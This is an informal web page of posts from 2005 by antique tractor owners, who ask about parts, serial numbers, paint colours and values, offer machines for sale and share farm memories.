Derek Atk wrote on Sunday, October 16, 2005 (PDT):I am looking for a John Deere G,730diesel,720D,420,430 or a 3pt 9' cyclebar mower. If you are interested in selling any of these particular models, please contact me via email. It would be helpfull if you are in a deceny range of central illinios. thank You............................This website has been very helpfull to me by research on the 730.
David wrote on Sunday, October 16, 2005 (PDT):Binder books .com has actual manual reprints for this and many other IH tractors
Steve wrote on Sunday, October 16, 2005 (PDT):I want to design a self propelled horse arena groomer. I have experience with WD's and WD45's. Didn't AC build a road grader version of this tractor with an elongated frame? What did they call it and where can I find one?
Peg Mitchell wrote on Thursday, October 13, 2005 (PDT):I am looking for an Oliver 550 tractor, it is wanted by my daughter, Her and her husband are in to tractor pulls and only use Oliver's. Could anyone help find one at a decent price. If it needs work, that is OK to. Thanks
joe wrote on Thursday, October 13, 2005 (PDT):I just wanted to say that to my knoledge I have an H-TA sitting in my driveway. I got it for a pulling tractor, Not knowing what I was getting. Turns out that I have in my presence a rare gem. It looks rough now, but I plan to restore it this winter!
Harold Sundvor wrote on Wednesday, October 12, 2005 (PDT): How do you fix a sticky acelerator on a 1996 --5240?
Dave Altimier wrote on Wednesday, October 12, 2005 (PDT):I have a great running (up to now) 1954 Fordson Major Diesel SN 1300832 and it has developed a problem as it has no oil pressure. I need an engine oil pump replacement. Can anyone steer me to a place to get one?
Brad Carey wrote on Wednesday, October 12, 2005 (PDT):I am looking for a 20-35. I located one in western Iowa, however it dosen't seem to be for sale. I know these tractors are one of a kind but if I find one it will be restored back to original.
Mark Hill wrote on Wednesday, October 12, 2005 (PDT):I have a 1938 F-20. I'm looking for a set of cast iron draw bar connectors that connect the draw bar to the backside of the wheel housing. Thanks.
Jim Thomas wrote on Wednesday, October 12, 2005 (PDT):I am looking for a 262 diesel engine for a D-17 or looking to buy a D-17 Series III or Series IV or a D-19 Diesel
Wally Doerksen wrote on Wednesday, October 12, 2005 (PDT):I recently purchased an AC 220 but it did not have a pto on it. Does anyone know where I can find a pto assembly for it?
Paul Miller wrote on Wednesday, October 12, 2005 (PDT):I bought a 1949 oliver 77 it is missing some of the side panels but I painted it and it looks pretty nice. It has a 12 volt system installed on it and starts real nice and the engine purrs like a kitten, brand new rear tires, I bought the tractor for $800 and I am just wondering what it is worth, even know I am definently not going to sell it.
kendle davis wrote on Tuesday, October 11, 2005 (PDT):what is your tractor worth, and is it for sale
chris george wrote on Monday, October 10, 2005 (PDT):my wifes uncle has an old 420 john deere that needs the transmission put back together my father-in-law thinks it is around 1960.can anyone help me with diagrams for this tractor.the person who took it apart has since passed on before he could put it back together again.he was replacing a gear in it.
Jeff wrote on Monday, October 10, 2005 (PDT):Great site here, I will be rebuilding my Oliver Super 77 and am interested in determining the year that this tractor was built and where. Also I have a 1750 that I use for snowblowing and would like to be sure of the build year for this tractor also.
Randy wrote on Sunday, October 09, 2005 (PDT):Neil what is your casting numbers on this engine, rear end housing, trans ? they should end with a letter. what is the letter? whats your ser. #?
beefy wrote on Sunday, October 09, 2005 (PDT):my oliver 550 has been to hell and back and is still runnin strong built in 1955 never been rebuilt and still pulls a three bottom
Dan wrote on Saturday, October 08, 2005 (PDT):That sure is a nice looking D. I probably wouldn't have painted the belt pulley yellow, but that's just me. It sure would make a good pulling tractor.
Doug Sylfest wrote on Saturday, October 08, 2005 (PDT):I have many hours in the seat of a 1952 Fordson Major diesel my father bought one new in 1952. I agree, the wheels were orange, I do not recall if they were cast or formed steel, to my knowledge there are not any pictures of our Fordson Major, not that I can get hold of anyway. The Major was close to handling most of the loads our 1950 IH MD did, when the pull got tough, the MD had to take over.There were not many Majors around, there were a lot of AC WD-45s. The WD-45 was a very nice tractor, lots of features. But, was over rated, AC just tried to get too much from it.There were lots of tractor pulls, mostly out in the fields but, some organized at fairs, etc. The Major always out pulled the WD-45 quite a lot. I would like to find a Major about a 1952, also would like to know about what the list price of that tractor was in 1952.
Dan wrote on Friday, October 07, 2005 (PDT):All right, let's set the record straight here. The 40 replaced the M (which started out as the H) the 50 replaced the B, the 60 replaced the A, and the 70 replaced the G. And if you really wanna know, the 80 replaced the R.
william kettleborough wrote on Friday, October 07, 2005 (PDT):One of the hydraulic clutch packs must be faultily connected, or maybe even Not connecte, but you may have to split the tractor in halve to nget to it, so seek proffesional advice>
Mike wrote on Friday, October 07, 2005 (PDT):Which UK event should I attend to see a good assembly of FM tractors,please?
bob davis wrote on Thursday, October 06, 2005 (PDT):what sickle bar mower will hook up to case vao 3pt hitch with little or no alterations?
Brad Carey wrote on Thursday, October 06, 2005 (PDT):I am looking for a 25-35. I located one in western Iowa, however, it does'nt seem to be for sale. I know these tractors are one of a kind but if I find one it will be restored back to original and put beside my 36 wc.
Joe Boston wrote on Thursday, October 06, 2005 (PDT):I have a 1965 Allis Chalmers D-15. It starts good and runs good. It has a blade for the back of it and a manure scoop for the front. I was wondering what it all would be worth.
Judy Greiter wrote on Wednesday, October 05, 2005 (PDT):I have a MF-150 serial #SDM 642004136- Does anyone know what year this tractor is? I want to sell it and can't find a good reference for this # Thanks-
Bubba wrote on Tuesday, October 04, 2005 (PDT):Just bought a 1948 TE-20 Ferguson. Hydraulics leak down when you mash clutch. Any help will be thankful. Bubba in Ala.
Dan Shippee wrote on Tuesday, October 04, 2005 (PDT):My dad owns a '54 model 60. I beat him on it in a tractor pull a couple days ago.
Jim Whitin wrote on Tuesday, October 04, 2005 (PDT):I would like to purchase a Farmall Cub to cut my fields, level the ground for horse back riding , grade my shell driveway occasionally, and somehow move hay and horse manure around. Is this the right tractor? I really like the looks and size. Is there any where in New England that they might be available at?
Joe wrote on Sunday, October 02, 2005 (PDT):Does anybody know where to get an exhaust manifol that has the lever that diverts the exaust to run distillate, mine is cracked and rozen Thanks
Steve Zeman wrote on Sunday, October 02, 2005 (PDT):Needing Hydraulic pump for G1000 Wheatland (Propane). The old one is shot. It is a Vickers Model No. M-PFB-15-R-20-094 131 J6. Any ideas where to find one, new or used please contact. Thanks SEZ
aaron holland wrote on Sunday, October 02, 2005 (PDT):i am looking for a manifold for a avery moodel v with a hercules motor thanks
John wrote on Saturday, October 01, 2005 (PDT):Ron D - It takes HyTrans. Any brand will do. Your case dealer will have the good stuff. The Torque Amplifier requires more fluid in the main gearbox fill (sitting on the tractor, large 3/4" square drive to the left of the stick shift). It draws from the same gearbox. The gear box capacity with the TA is 7 gallons.
Julie Burt wrote on Saturday, October 01, 2005 (PDT):I had to take a real close look at this tractor. Thought it was the one in my barn. The one I have is for sale. The only difference is mine has spoked rear wheels.
Diane wrote on Friday, September 30, 2005 (PDT):A friend of ours was given a Ford 600 tractor recently. When he's cutting grass, the tractor moves to fast and he wants to know how to slow it down. He says it's in low speed when he is cutting grass. Has anyone run into this before?
walter wrote on Friday, September 30, 2005 (PDT):Looking for a D17 series IV diesel with wide front end.
nelson maxwell wrote on Friday, September 30, 2005 (PDT):i'm intrested in this tractor, i grew up in cederville. my grandpa owns 38 john deere's. i own a john deere "B". im looking for another thanks
nelson maxwell wrote on Friday, September 30, 2005 (PDT):i was wondering a price on this wonderfull tractor
Wanda wrote on Friday, September 30, 2005 (PDT):I have a Massey Harris Pony Tractor...Serial #16559. Can anyone tell me what year it is?
Richard Mathews wrote on Thursday, September 29, 2005 (PDT):we have several old moline and white and oliver tractors on the farm that we may sell if the price is right. (2655 oliver, G-1000, G-900, G-1050, among other tractors we no longer use in the farming operation.
Stephen wrote on Thursday, September 29, 2005 (PDT):I have a Farmall tractor that I am thinking is a model A. The problem is that I cannot find a serial plate under the seat, where I am told that it should be. Is there anything else that I should look at that can identify it? Also is there a way to make a 3-point hitch on these tractors? I am needing a new coil, cap and rotar and plug wires. Every impliment store around me just tells me to get the numbers and when I say that I dont have them they say, tough luck. I NEED HELP!!! Please email me with any information.
Jana Hamman wrote on Wednesday, September 28, 2005 (PDT):Have several tractors. H's M's Horse drawn sickle mower, Allis Cham. WD Any ideas on a price. My dad farmed with all of them.
John Weaver wrote on Wednesday, September 28, 2005 (PDT):Jim Thanks I will give it a try. And send for a book. Yes she is a dandy little tractor. John
Jim Broughton wrote on Tuesday, September 27, 2005 (PDT):To; John Weaver John, your Cub is a 1950 model, 6 volt POSITIVE ground electrical system, and no, it won't run without the battery! You can get a service/repair manual from Intertec,P.O. Box12901, Overland Park, Kansas,66282-2901, last one I bought cost about $20.00, but they may have gone up since then. Also, Binder Books in Tigard Oregon has a lot of literature and manuals on them...They are listed on the internet, so should be easy to find. Also, on the generator, ther are two small holes on the right front of your sheet metal, near the radiator...take a small screwdriver and a light hammer or wrench and put the screwdriver in the front hole, feel around for the "cut-out" and give er a whack with the wrench or hammer (not too hard!) with the engine running and if it is the "cut-out or regulator, it should charge, if not, then you gotta check it all out and fix it! Best of luck, the Cub is a dandy little tractor! Jim
Jon Anderson wrote on Tuesday, September 27, 2005 (PDT):I have a JD model 820, serial 4048. It is a yellow track layer with "2010" decals, a 4 cyl diesel and 4-1 doitt loader, only a home made counter weight on the back. I will soon be offering it for sale in San Diego, any one interedted??
Tammy Byrka wrote on Tuesday, September 27, 2005 (PDT):My dad has a Case VAI-5055081 for sale. It has 9x24 rear tires which I understand is rare. All offers are considered, also if anyone knows where I would find out what year this tractor was made that would be very helpful.
John Weaver wrote on Tuesday, September 27, 2005 (PDT):I bought a Farmall Cub serial #120549 (1800) I dont know the year of it. It's a 6volt system which I know nothing about. Where can I find any info about this system or does anyone know? I think the generator is bad because it will not keep the battery charged. If I was to un hook the battery should the tractor still run? If anyone has an answer I would like to hear it. Thanks John Weaver
Brian Harrington wrote on Monday, September 26, 2005 (PDT):HELLO All OC3-42 fans, I am buying one right now and am open for any technical tips or suggestions. Email me any comments or parts you may have forsale, I live in N Texas Oklahoma border area. I plan on redoing this little Crwler with a big heart this winter. Would appreciate any tips or short cuts, It has a blade on it and is S/N 8WH300, I don't even know what year it is, I did find the guys at Zimmerman Oliver Cletrac in PA. They seem real sharp on this unit and parts and prices. Thank you all for your time. flyinghranch at copper.net
Larry Brownlee wrote on Sunday, September 25, 2005 (PDT):I have a 1957 Fordson Dexta. I have a broken differential. I would like to purchase a parts tractor 1957-1962.
Tandy mindahl wrote on Thursday, September 22, 2005 (PDT):Hi, I have a John Deere 1965 wide front 2010 with about 2100 hours on it. It has a JD 700 loader and a series 93 backhoe on it. Tractor starts and runs very good and the loader and back hoe also work. Since this is kind of a collectors item I hate to use it all the time around the hobby farm. Would like to find someone interested in bying it. Wondering how much this one owner tractor would be worth to a collector ? It is built like a rock and when you look at it you know you are looking at a piece of history and not some junk. It is painted yellow which is not the original color.
R W Wallace wrote on Thursday, September 22, 2005 (PDT):Update on the PTO situation (4 entries above) Found a place in Dallas, Texas that makes custom gears, shifter forks ,and even PTO/ transmission shafts etc.. they took my broken shaft and custom machined a one piece new one. These guys are great. They are Machine Tool & repair shop, here is the info for anybody that wants it. Machine Tool & Repair, Inc 4770 Iberia Dallas, TX. 75207 214-631-8120 fax 214-638-1008
mark wrote on Thursday, September 22, 2005 (PDT):I have a D17 SERIES IV VERY GOOD CONDITION ALL ORIGINAL FACTORY 3PT. DUAL HYD. NARROW FRONT TIRES ARE FAIR CONDITION REAL STRAIGHT TRACTOR THE ONLY THING THAT DOES NOT WORK IS THE TRACTION BOOSTER GAUGE AND THE FLASHER LIGHT OTHER WISE SHE IS A GOOD ONE ONLY 1835 ORIGINAL HRS. CAN E MAIL PICTURES THANKs
Greg wrote on Wednesday, September 21, 2005 (PDT):I have my dad's old Rumley put the valve cover is gone so I don't have the serial number. It's a light weight model put I don't know the model number. Is there another way to determine the serial number and model of this tractor?
Tony wrote on Wednesday, September 21, 2005 (PDT):Which of the "100"SERIES TRACTORS REPLACED THE M.
frank wrote on Tuesday, September 20, 2005 (PDT):I'm wondering if oliver tractors are now called white tractors. when designed. I have a 2-60 white farm tractor 4x4 which i purchase in st.john's in 98 and i cann't find any pic. of this kind of tractor on the internet.she is from a 1977 to a 1985 somewhere in that line.do you know where i can find some pictures or information on this tractor please.i think that the engine was made in italy.i am a newfoundlander in canada thank you
frank wrote on Tuesday, September 20, 2005 (PDT):I'm wondering if oliver tractors are now called white tractors. when designed. I have a 2-60 white farm tractor 4x4 which i purchase in st.john's in 98 and i cann't find any pic. of this kind of tractor on the internet.she is from a 1977 to a 1985 somewhere in that line.do you know where i can find some pictures or information on this tractor please.i think that the engine was made in italy.i am a newfoundlander in canada thank you
Lewis Trotter wrote on Tuesday, September 20, 2005 (PDT):I am in the process of refurbishing a 160, got every thing working but as soon as the engine starts the lift arms began to rise without touching the lever and the lift cylinder shaft broke the housing. what is the problem?
Farmall1939boy wrote on Monday, September 19, 2005 (PDT):I have a 1939 Farmall M with 1,000lbs of wheel weights in each wheel. It is one my Great Grandfather bought back in 1939 brand new, it was its first of its kind sold in california. Bought From N&S tractor.
bob wrote on Monday, September 19, 2005 (PDT):I have a manual for the BN and as I read it the N stands for Model B "Narrow. as it is not as wide at the rear wheels as the regular B is
David Whitaker wrote on Sunday, September 18, 2005 (PDT):I JUST BOUGHT an Ford N9 Tractor 1950 I need to buy 2 good used rear tires at a good low price please help
Jimmie Peterson wrote on Sunday, September 18, 2005 (PDT):I am in the process of restoring a 1960 something Farmall Cub. If anyone knows what color of blue the original front and rear cultivator arms are I would appreciate any information you could provide. Additionally the original ID plate is still on the tractor but it is unreadable. I have the original block, can I take the cast numbers off the block and get an actual year date. Thanks for any information anyone can give. Jimmie Peterson
KELLY AND DONNA ONEAL wrote on Sunday, September 18, 2005 (PDT):HEY I BOUGHT ONE OF THEM ORANGE TRACTORS A D17 ALLIS CHCMBERS 4 CYL GAS BANGER. FIRST RATTLE OUT OF THE BOX ROCKER ARM SHAFT BROKE AT #1 STAND, BEEN BROKEN BEFORE SOMEONE WELDED IT, I REPLACED IT WITH A GOOD USED ONE. HAVE THE ROCKER AND ALUMNE STANDS ANYONE INTERESTED IN THEM EMAIL ME OR CALL ME 580-243-8820. WELL IT RUNS GOOD, DON'T USE OIL, CHANGED OVER TO 2 WIRE AUTONATOR, HAS HDY, PS, SEAT A LITTLE BUMPY. NO AC, NO CAB. NO COMPLANTS.
Ivo wrote on Saturday, September 17, 2005 (PDT):I have one old photo of very very old tractor.Can anyone recognize it if I send a scan of my photo? Thanks Ivo
Kellie wrote on Friday, September 16, 2005 (PDT):I own a D17 and am trying to make it work properly. When i recieved it the first thing i noticed was the battery was wired backwards. but it starts. It runs a little rough but part of that is due to then fact that it had been sitting for about 15 years. does anyone now where i can get some manuels on this wonderful piece of machinery. I have just got out of the military and moved back to the family farm and am trying to get things fixed up and going so we can stopp renting and i can farm the land. any help would be gfreatly appreciated
Randy wrote on Friday, September 16, 2005 (PDT):TO ALL this talk about you guys having cub lowboys in the 47-54 year range, you need to do more research the lowbow didn't start production untill 1955. I have serial number 515 and it was purchased new by my father in september of 1955
Tom Strader wrote on Friday, September 16, 2005 (PDT):Iwould like to buy a Ford 2000 or 541 offset tractor. I would like to restore it and run this tractor in some local parades. If anyone knows where there is one PLEASE let me know. Thank You.
Tom Strader wrote on Friday, September 16, 2005 (PDT):I would like to find a ford 541 or 2000 offset tractor in restorable condition. My goal would be to take it to shows and run it in parades. If anyone knows where there is one PLEASE let me know. Thank You.
Eric wrote on Friday, September 16, 2005 (PDT):I just purchased a WC. I have not yet checked the serial # but here is what I do know so far, please help me identify the year of this tractor. It was originally on steel, it has a very small gas tank up by the radiator and a large kerosene tank near the driver. It has the "side blaster" manifold. I have never before seen a kerosene WC, please help.
Eric Mullen wrote on Friday, September 16, 2005 (PDT):Hello all. My Grandfather and Father both farmed with AC's all their lives. My father and I are now buying all of them we can find. If anyone on this forum would like to purchase a tractor or just some parts please e-mail me at emullen66 at hotmail.com. We currently have the following tractors; Very early kerosene WC (haven't check SN# yet), '51 WD, '61 D17, '62 D17 with power steering, and a '57 WD45 wide front, blades, dirt scraper, snap couplers, carbeurators, etc. If you're into AC's drop me a line, if we don't have what you are looking for we can certainly find it. We bought 4 more tractors last weekend. We're in central IL.
Floyd wrote on Thursday, September 15, 2005 (PDT):I have a 1947 Massey Harris 20 It has A stock motor I Will Take 600.00 For It 740 384 4323
Andy wrote on Tuesday, September 13, 2005 (PDT):We have a H model serial 326059 - does anyone know the year? Thanks!
cody wrote on Tuesday, September 13, 2005 (PDT):The first tractor my dad ever owned was a allis challmers and he loved that tractor a lot.
cody wrote on Tuesday, September 13, 2005 (PDT):my dad has a john deere 60 and it is a handy tractor
Randy Looby wrote on Monday, September 12, 2005 (PDT):To Phillip M. I have a 550 Oliver with a hitch that goes on the three point hitch. I do not know who made it. It came on the tractor when my dad bought itback in the mid-60's. The 550 is a 1960.
Steve wrote on Monday, September 12, 2005 (PDT):Where can I get more information on VAC's? Would like to find items like correct paints, tire sizes and as much info as possible, including if there is a Vac or a Case club.
Neil Billger wrote on Monday, September 12, 2005 (PDT):I have a Lo-boy tractor, I think that it's about a 1947 the serial # is 7037 and it is stamped 351686-R3 L 2 x . If someone could tell me the year it would be a great help Thanks
james b. wrote on Monday, September 12, 2005 (PDT):I have a rumley oil pull 25-45 lightweight. I love this old tractor it runs good but it blows a little oil out of the righthand cylinder it seems to have good compresion so i don't think it is the rings. Any infomation or where to get parts would be greatly appretiated. My phone # 413-268-8255
Bria wrote on Monday, September 12, 2005 (PDT):I have a 1950 M that I would like to restore completely. I would like it to be showroom quality. Does anyone know who or where to have a complete job done, mechanical and paint. I am in Colorado, but that really doesn't matter if there is a best answer elsewhere.
josh wrote on Sunday, September 11, 2005 (PDT):1942 wc complete for sale
rodney fritz wrote on Sunday, September 11, 2005 (PDT): I purchased a farmall 140 industrial earlier this year. Tractor is in good shape but the paint was hard to find. Cub yellow is not correct, you must use Federal Highway Yellow. Mine has the complete one-point hitch. I would like to find a blade for the tractor to use around the church parking lot. I live in North Central Kansas. Any help out there for a rear mount, one point blade? Thanks.
kirk C, wrote on Saturday, September 10, 2005 (PDT):I have a 1951 w-6,that im redoing at the moment, I love those 1066,s & 1466,s too Awesome sound awesome tractor,Im looking for a 1066,or1466, Ive drove 4430,s before,& woudnt have one for all the tea in china, I saw a 1466 at a dealer,and this guy came and bought it from under my nose,for 6,500,00,ticked me off, I thought I liked V8 massey,s too but forget them for part,s,No way! Alway,s will be Red Power! If you have a 1066, or 1466 dont let them go, they are sweet as neat can be,and that exhaust note of that turbo six cylinder in these thing,s is real music! I may buy an old 1155 Massey,just for the V8 engine and look,s though nothing else,Red Power Rule,s!
Bruce Byler wrote on Friday, September 09, 2005 (PDT):I have a 1929 farmall. I left the water in it one winter and it cracked the cyl. Any resources for a complete block for this unit? It looks like the pic on top of this page
Dave (NE) wrote on Thursday, September 08, 2005 (PDT):You want persian orange #1, which is the 60080 number.
Sharon wrote on Thursday, September 08, 2005 (PDT):"M" Collection twice sold. My husband found restored the entire collection of 16 M's from 39 to 54 one at a time. Not long after he had finally found and restored the last one in the collection, he was found to have cancer and died. You could still smell the new paint. Well,after a bit, our daughter and I decided to have an auction and sell the M's and all the rest of Dale's restored tractors, nearly 60 of them. The auction was June 6th, 1998 and it went well. But, I did a dumb thing and bought the M collection back as my daughter was upset about their loss. She and her husband were going to tend to their upkeep, but that didn't work out after a few years. Now, the M collection is on their way to a three day sale in Larned, KS,in October. So,now, will all you Farmall M and other tractor lovers, wish me luck. ;-) I won't buy them back this time. ;-)
N.C.Tillou wrote on Wednesday, September 07, 2005 (PDT):Spent many hours on a Farmall "A", not the hi-crop version, when I was a kid. Actually broke it in half one day when I got the single bottom mounted plow wedged under a rock ledge. Was standing on the plow to force it in the ghround and leaning over the seat to steer.Before i could get back over the seat and my foot on the clutch I broke the large bell casting that held engine and tranny together. There was no frame members on these little tractors,the bell casting was the "backbone" of the tractor.Anybody else ever break one.Dad was so upset about me breaking our small tractor (we also had an "H" and a old International crawler)that he bought me an F-14 and defied me to break it. I tried until we quit farming in 1962 and never could break the thing.
matt mcferren wrote on Wednesday, September 07, 2005 (PDT):i currently have a 44MH and a 101 am lokking for a complete 55 or 555 doesnt have to be running. i would appreciate any info on one of these tractors anywhere thankyou
Philip McAbee wrote on Wednesday, September 07, 2005 (PDT):I have an International Cub Lo boy for sale. I've been told it's an early 1960's model. It starts, runs, and the hydraulic lift works. It has turf tires and has been converted to 12 volt. I'm asking $1200 and can e-mail pictures.
Brad Alderton wrote on Wednesday, September 07, 2005 (PDT):I purchased a D17 last year to help keep up with my lawn 2.5 - 3 arces. I still do not know much about the tractor. Is there some place on it that I can find a serial number to tell me what year and series it is? I want to know more about it so that I can keep it up and maybe even make a few improvements. Thanks!
Curtis DeVries wrote on Tuesday, September 06, 2005 (PDT):I was just wondering if anyone has a paint scematic for the AC G. I am currently restoring one and would like to know what color each part should be. Thanks
Michael Krueger wrote on Tuesday, September 06, 2005 (PDT):What is the correct paint color for my 1956 WD45 Allis? PPG shows two persian oranges. the numbers are 60080 and 60396. Does anyone know which is correct?
Joe wrote on Tuesday, September 06, 2005 (PDT):I just purchased a 1950 "B" last month. This is my first tractor. It was partially restored. I am having a lot of fun with it.
Phyllis wrote on Monday, September 05, 2005 (PDT):I attended the Old Threshers Reunion in Mt Pleasent Iowa, I saw an oilpull tractor with the name Reeves on the side. I didn't get a chance to talk to the person who owned it but my brothers name is Reeves and I was wondering if anyone can tell me who or where these were manufactured?
Wayne Carpenter wrote on Monday, September 05, 2005 (PDT):I restored a 1937 F-12 with fenders, round spoke front and rear wheels, and a hydraulic lift under the seat. I even put NEW tires on it. It starts on the first or second crank and the hydraulic lift works too. I grew up using this tractor to feed beef cattle hay every morning. I would take off my belt and tie the steering wheel to the seat in a slight turn and then get in the wagon and toss out the hay as the sun came up. My stepfather paid $35.00 for this tractor. It now looks as new as a 1937 tractor can look.
sandy hardin wrote on Saturday, September 03, 2005 (PDT):please send any info or photos of Russell 13 hp traction steam engine. My dad, Joe Hardin of Caulfield, MO sold his at auction. Wondering who might own this gem today. Can you help? Thanks for any infor.
Deanna wrote on Saturday, September 03, 2005 (PDT):What memories I have of the C. My Grandfather owned 4 out of our 6 tractors. One of them being the C. When my 2 brothers and I were very small it did not run and what fun we had pretending on it. Then one winter Grandpa and Dad got it running again. Grandpa put wood blocks on the clutch and breaks so my brother's feet could reach them. At age 9, he learned how to plow with that C and its 2 bottom plow in the corn field behind our house. We continued to use that tractor well into our high school years (1980's). During winter school breaks it was used to pull the home made trailer to the woods to bring back the wood that had been cut and split for our winter heat. All 3 of us learned to drive on that tractor. When my Grandfather sold the farm, all the the tractors including our beloved C were sold. How I wish I still had that tractor to teach my nephew's how to drive. To this day my best friend and I argue which tractor is better--my C or her Dad's Oliver.
donna wrote on Friday, September 02, 2005 (PDT):i'm trying to find a peerless push mower made back in the 1800's. my husband found two of them and we're trying to find out what the mower is priced for.
Mark W. Opp wrote on Thursday, September 01, 2005 (PDT):I am looking at purchasing a 1948 JD B Tractor at an auction sale. what would be a reasonable price to pay. It is in excellent condition.
Dave Turford wrote on Wednesday, August 31, 2005 (PDT):Recently came into possesion of a case tractor, but do not know what year it is. Found out the serial should be on the tool box that used to sit on the steering column. The tool box was removed years ago. Was wondering if there were any other numbers that would give me a clue as to its age? Thanks
jim lee wrote on Tuesday, August 30, 2005 (PDT):my dad owns a 3 wheel atv type vehical. he says it is a farmall built inthe 60s.he wants to restore it but can find no info on it. Please help. all is in good shape but motor is frozen up. i think i can replace piston and ring but do not know engine mnfr.
CHARLES JERNIGAN wrote on Tuesday, August 30, 2005 (PDT):I JUST BOUGHT A 1953 MODEL M FROM A FRIEND AND WAS WONDERING WHAT ITS WORTH. I GREW UP WITH ONE AT HOUSE AUTRY MILL NEAR BENSON NC. IT RUNS GREAT,THE METAL IS IN GOOD TO FAIR CONDITION EXCEPT WHERE THE HOOD WAS CUT OUT FOR A 12 VOLT GM ALTERNATOR, RUST IS LIGHT AND THE PAINT IS POOR (AGED) BUT STILL VERY RED. THE FRONT TIRE IS SHOT, REARS ARE GOOD BUT AGED. MOST EVERTHIG WORKS ON IT AND THE HYDRAULIC PUMP AND CARB HAS JUST BEEN OVERHAULED. ANY HELP WOULD BE APPRECIATED.
Joe Manthey wrote on Monday, August 29, 2005 (PDT):I recently bought what I was told was a 1946 case sc #8030451. It has a pto and a 3 point hitch that i have a back blade on. I grade our private road with it(runs great). Im missing the plate that covers the pto gears and the seat rests on. I want to have one made but I dont know exactly what one looks like. If someone has a 46 sc I would appreciate if they could take a picture of that area under the seat and send it to jmanthey7 at comcast.net my cell is 1-586-822-6233 feel free to call me with any info, thanks, Joe Manthey
nick wrote on Monday, August 29, 2005 (PDT):im looking to by a field marshall in unrestored condition in england if you have one for sale please email me on colt4440 at aol.com thank you
Dave wrote on Sunday, August 28, 2005 (PDT):My father and I have 3 Marshalls, a series 1 (v.rare in NZ), an early series 2, and a series 3. We just need a 3a to complete the set. We also have an early Fowler-Marshall crawler. So as you can see thay are addicitive!. There were hundreds of these wonderful tractors inported into NZ, and more and more are turning up at rallys which is a good thing to see. Anyone on New Zealand (or anywhere else really!)wanting help or advice please Email me and I will give what help I can!
Roger wrote on Sunday, August 28, 2005 (PDT):I am looking for a grille for a Farmall M, not yet sure of date of manufacture of tractor. Anyone close to Richmond Ind want to sell one? Hopefully I'll have the serial number tonight 8/28/05
Randy Bone wrote on Sunday, August 28, 2005 (PDT):I am looking for parts for an adjustable wide front end for a D17 serial number series 38000. I need the spindle support and the front axle spindle for the left side. Would consider buying complete front axle assemble if available.
Ron Moore wrote on Saturday, August 27, 2005 (PDT):I recently repurchased my 1956 VAC-14 (for twice what its worth) for my grandson. the front wheels/tires are 6;00/16. Therefor the front sets high I believe they should be 15" is this correct? serial number is 6038897 where does it fit in the production cycle? the tractor was yellow when i purchased it originally in 1975, which i think is incorrect. may have been used by state highway dept. any othe info will be appreciated
dianne wrote on Saturday, August 27, 2005 (PDT):I am looking for a series 1 field marshall any condition (preferable England) but not essential
toadabode wrote on Friday, August 26, 2005 (PDT):I Have A '46 LA that runs nice with an hydraulic blade on the front, a rear winch off the PTO with trailer that I'd like to sell
DEH wrote on Friday, August 26, 2005 (PDT):Have an opportunity to purchase a 1940(?)Leader tractor,needs quite a bit of work and needs a new rear tire, but starts right up...has disc and plow, am interested in old tractors, what would be a fair offer to make on this?
Barry McLamroc wrote on Thursday, August 25, 2005 (PDT):I've owned this tractor for 15 years and have enjoyed it. It is unstyled and has a long hood and all purpose engine
Barry McLamroc wrote on Thursday, August 25, 2005 (PDT):I've owned this tractor for 15 years and have enjoyed it. It is unstyled and has a long hood and all purpose engine
dale wrote on Thursday, August 25, 2005 (PDT):I have a 1946 model M farmall tractor bought brand new. It is in good running condition. I would like to find out how much it's worth. It also includes plow and hay bailer.
FarmIH wrote on Wednesday, August 24, 2005 (PDT):I live on a farm in western Iowa. We (my dad and i) have a Super MTA which is the secound coolest tractor every made. We also own a 1066(with and intercooler) which we took the cab off and repainted and added a nice 6in. chrome stack and new tires all the way around. I think this tractor is the coolest tractor ever. The rest of our tractors include a 70 hydro(the most manuverable and easily operated tractor i have ever drove) a 806D and a 1486(this tractor has well over 10,000 hours and never had the engine touched) and a 1480 combine with the DT466. I love red and dont understand the Deere fans out there.
Bus Haury wrote on Wednesday, August 24, 2005 (PDT):There are three other wrenches similar to Curt's "1892 for wrist pin only", They are marked "for wrist pin only" and "1866", "1916", and "2033" respectively. There is also a larger wrench marked "Sampson Tractor Company 754372". I also have wrenches marked "750367" and "752425" which are probably new Sampson numbers for what were Janesville Machine Co. wrenches. I would like to hear from anybody that has parts lists for Sampson or Janesville Machine Co. that shows the wrenches and other tools. www.wrenchingnews.com
Dave Black wrote on Wednesday, August 24, 2005 (PDT):I purchased a 1934 AC WC, it looks different, mine has a oval gas tank, the radiator is brass w/the lettering right in the brass. It has a cast iron belly pan,narrow front,hand brake levers,has implement hooks on the front, I have pics to email, it has all rubber,trying to get the crank pully off so I can get the timming cover off, Help.
Arnold Mswia wrote on Tuesday, August 23, 2005 (PDT):I will like to buy a used Massey Ferguson tractor 135 or 165. Will you send for me the price, but i will like it to be in USDollers . I am a Tanzanian, but don't forgate shipping price plaese.
R. W. Jones wrote on Tuesday, August 23, 2005 (PDT):Have M-H Pacer with mower,cultivators,plow&disk,have mowed and raked hay showed and pulled it
Jeff wrote on Tuesday, August 23, 2005 (PDT):My Dad has an International 504 he bought when we moved off the farm back in 1969, but needed a tractor to still do a little maintenance around the land that he kept. It has a little over 500 hours and other than being a little dusty works and runs great. Can't say I've ever seen another one like it so I'm wondering if it has any worth. Not really interested in selling it, just curious. email me in Wisconsin at tiresrme at famvid.com
Michael Laukhuf wrote on Tuesday, August 23, 2005 (PDT):We have a Lindeman Crawler for sale. We completely tore this crawler down to restore it. It is a great looking Lindeman, and it runs very good. If anyone is interested, send an email and I can send pictures and more information on it. We are located in NW Ohio. Contact me at mlaukhuf at truevine.net
Wes wrote on Tuesday, August 23, 2005 (PDT):I am looking for a breakdown diagram of a 1936 Case SC 4 speed transmission. I am in the process of putting something back together that I didn't take apart. If someone could e-mail or fax me a breakdown of the transmission I would apprecieate it. Fax # is 1-906-779-2406.
Millie Boggie wrote on Tuesday, August 23, 2005 (PDT):my family bought a JD MT in the fall of 1951. I don't know what year it was built, but know it wasn't new. It had two front tires, but they weren't spaced wide apart. Any ideas as to the year it was built?
john taylor wrote on Tuesday, August 23, 2005 (PDT):I'm looking to buy a small dozer (JD 2010 variety or about that size). It must be in fairly good condition with a good engine. Contact me at; mrmsje at yahoo.com Thanks
Juan Velasco wrote on Monday, August 22, 2005 (PDT):I have a Pony tractor. I gat from GMU ecuador south américa. I would like to know about gennuine parts. Please send me a catalog. Thanks Juan
Jean Christensen wrote on Monday, August 22, 2005 (PDT):We have model B John Deere tractor with the serical number 231221. Could you please tell me what year it was made and the approximate value with it being in good condition. Are there many buyers for this tractor?
